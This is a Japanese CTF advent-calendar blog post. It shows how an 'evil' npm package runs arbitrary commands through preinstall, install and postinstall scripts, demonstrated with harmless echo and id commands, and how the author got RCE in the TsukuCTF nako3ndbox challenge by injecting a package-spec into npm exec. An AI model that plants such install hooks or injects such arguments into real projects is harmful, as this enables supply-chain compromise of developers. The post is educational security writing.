ゼオスTTのブログ

気が向いた時に、主にプログラミング関係の記事を書くつもり。しかし気が向かない。

evilなnpmパッケージでRCE

はじめに

この記事は、CTF Advent Calendar 2022の12日目の記事です。

昨日はkam1tsur3さんの「DMくれたよく知らん人とCTF参加してみた」でした。
タイトル読んで「いやそんなことある?!」と思わず笑ってしまいました。終盤にはちょっと仲良くなれたようでよかったです(?)。

さて、この記事では、evilなnpmパッケージを作成してRCEする方法を紹介します。

evilなnpmパッケージの作成

package.jsonscripts には、 preinstallinstallpostinstall という、 npm install 時等に実行されるビルドスクリプトを指定できます。

docs.npmjs.com

確認してみましょう。

以下の内容で package.json を作成します。

{
  "name": "evil-package",
  "scripts": {
    "preinstall": "echo preinstall > /dev/tty",
    "install": "echo install > /dev/tty",
    "postinstall": "echo postinstall > /dev/tty"
  }
}

npm install します。

$ ls ./evil-package
package.json
$ npm install ./evil-package 
preinstall
install
postinstall

added 1 package, and audited 3 packages in 151ms

found 0 vulnerabilities

スクリプトが実行されましたね。

あとは、スクリプトの内容を悪意あるものに変更すればOKです。

なお、 --ignore-scripts オプションが有効な場合は実行されません。

$ npm install --ignore-scripts ./evil-package

added 1 package, and audited 3 packages in 138ms

found 0 vulnerabilities

パッケージの公開

パッケージ公開の手順は本質的ではないですが、備忘録も兼ねて記載しておきます。

まず、公開のためには package.jsonversion が必須となるので、適当に指定しましょう。

{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "install": "id > /dev/tty"
  }
}

公開の方法は大きく3つあります。

  1. npmレジストリにpublish( npm publish
  2. Gitリポジトリにpush
  3. npm pack で生成したtarballを自分のサイトに配置

今回は2を試してみます。

github.com

npm install します。

$ npm install zeosutt/evil-package
uid=1000(mitsuru) gid=1000(mitsuru) groups=1000(mitsuru),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(vboxsf)
uid=1000(mitsuru) gid=1000(mitsuru) groups=1000(mitsuru),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(vboxsf)

added 1 package, and audited 2 packages in 3s

1 critical severity vulnerability

Some issues need review, and may require choosing
a different dependency.

Run `npm audit` for details.

良い感じですね。なぜか2回実行されていますが。
1 critical severity vulnerability と出ていて、一瞬npmがこのパッケージをevilと見抜いたのかと驚きましたが、これは https://www.npmjs.com/ に存在する既存のパッケージに関する表示です。

なお、 npm install に指定できる文字列(package-spec)のフォーマットはこちらに載っています。

問題例

任意のパッケージを npm install してくれる問題は残念ながら記憶にないのですが、先日、任意のパッケージを npm exec させられる問題が出ました。
npm exec は内部でinstallを行うため、ビルドスクリプトを利用できます。

その問題というのが、TsukuCTF 2022のnako3ndboxです。

公式writeupはこちら。

fans.sechack365.com

要はここです。
クォート済み(実はそのクォート処理の実装が不適切という問題だったらしい)の文字列 tpathab を用いた ${tpath} x ${a} -o${b} -y という文字列を execSync() してくれるんですが、なかなかに自由度が低い。
そこで、 tpathnpm にすることで先頭を npm xxexec のエイリアス)としたうえで、 a をpackage-specにし、RCEへと持ち込みました。

最終的なパッケージはこちらです。
npm exec で必要となるため、 package.jsonbin を追加しています。
ちなみに、現時点でのなでしこ3最新版(v3.4.1)でも解けます。

おわりに

長々と書きましたが、結局は package.json に1行追加するだけです。簡単ですね。

現実世界では、人気の高いパッケージを乗っ取って悪意あるスクリプトを設定するとか、入力ミスを狙って人気パッケージと似た名前のパッケージを作成する(タイポスクワッティング)ということが行われているみたいです。怖いですね。

dotengineerblog.net

明日はhamayanhamayanさんの「CTFにおけるフォレンジック入門とまとめ」です。
hamayanhamayanさんといえば、昨年一人で完走されたCTFのWebセキュリティ Advent Calendar 2021も必見ですよ。